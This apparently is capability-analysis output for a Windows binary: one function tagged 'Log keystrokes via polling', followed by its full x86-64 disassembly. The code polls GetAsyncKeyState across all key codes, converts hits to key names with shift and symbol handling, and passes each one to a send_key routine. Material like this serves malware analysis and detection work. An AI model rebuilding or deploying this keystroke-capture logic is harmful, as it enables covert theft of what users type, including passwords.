Function at 0x140001623
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
call dbg.__main
mov dword [rbp - 4], 8
jmp 0x140001acb
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cwde
and eax, 0x8001
test eax, eax
je 0x140001ac7
mov eax, dword [rbp - 4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyA]
call rax
mov dword [rbp - 8], eax
mov eax, dword [rbp - 4]
sar eax, 8
and eax, 1
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyA]
call rax
shl eax, 0x10
or eax, dword [rbp - 0xc]
lea rdx, [rbp - 0x60]
mov r8d, 0x40
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyNameTextA]
call rax
mov dword [rbp - 0x10], eax
cmp dword [rbp - 0x10], 0
jle 0x140001ac7
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cwde
and eax, 0x8000
mov dword [rbp - 0x14], eax
mov ecx, 8
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cwde
and eax, 0x8001
test eax, eax
je 0x14000170c
nop
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
js 0x1400016e5
lea rax, [0x14000405f]
mov rcx, rax
call sym.send_key
jmp 0x140001ac7
cmp dword [rbp - 0x14], 0
je 0x140001780
movzx eax, byte [rbp - 0x60]
cmp al, 0x40
jle 0x140001780
movzx eax, byte [rbp - 0x60]
cmp al, 0x5a
jg 0x140001780
movzx eax, byte [rbp - 0x60]
add eax, 0x20
mov byte [rbp - 0x60], al
cmp dword [rbp - 0x14], 0
je 0x140001ac6
lea rax, [rbp - 0x60]
lea rdx, str.shift
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001ac6
nop
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
js 0x140001752
movzx eax, byte [rbp - 0x60]
sub eax, 0x20
mov byte [rbp - 0x60], al
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.send_key
jmp 0x140001ac6
movzx eax, byte [rbp - 0x60]
cmp al, 0x40
jle 0x1400017bf
movzx eax, byte [rbp - 0x60]
cmp al, 0x5a
jg 0x1400017bf
movzx eax, byte [rbp - 0x60]
add eax, 0x20
mov byte [rbp - 0x60], al
nop
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
js 0x14000179b
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.send_key
jmp 0x140001ac7
cmp dword [rbp - 0x14], 0
je 0x140001aa4
nop
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
js 0x1400017ca
lea rax, [rbp - 0x60]
lea rdx, str.1234567890__._____
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400017ff
mov word [rbp - 0x16], 0x21
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x14000406b]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001821
mov word [rbp - 0x16], 0x40
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x14000406d]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001843
mov word [rbp - 0x16], 0x23
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x14000406f]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001865
mov word [rbp - 0x16], 0x24
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004071]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001887
mov word [rbp - 0x16], 0x25
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004073]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400018a9
mov word [rbp - 0x16], 0x5e
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004075]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400018cb
mov word [rbp - 0x16], 0x26
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004077]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400018ed
mov word [rbp - 0x16], 0x2a
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004079]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000190f
mov word [rbp - 0x16], 0x28
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x14000407b]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001931
mov word [rbp - 0x16], 0x29
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x14000407d]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001953
mov word [rbp - 0x16], 0x5f
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x14000407f]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001975
mov word [rbp - 0x16], 0x2b
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004081]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001997
mov word [rbp - 0x16], 0x3c
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004083]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400019b9
mov word [rbp - 0x16], 0x3e
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004085]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400019db
mov word [rbp - 0x16], 0x3f
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004087]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400019fd
mov word [rbp - 0x16], 0x3a
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004089]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001a1c
mov word [rbp - 0x16], 0x22
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x14000408b]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001a3b
mov word [rbp - 0x16], 0x7c
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x14000408d]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001a5a
mov word [rbp - 0x16], 0x7b
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x14000408f]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001a79
mov word [rbp - 0x16], 0x7d
jmp 0x140001a96
lea rax, [rbp - 0x60]
lea rdx, [0x140004091]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001a96
mov word [rbp - 0x16], 0x7e
lea rax, [rbp - 0x16]
mov rcx, rax
call sym.send_key
jmp 0x140001ac7
nop
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
js 0x140001aa5
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.send_key
jmp 0x140001ac7
nop
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0xff
jle 0x14000163c
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001630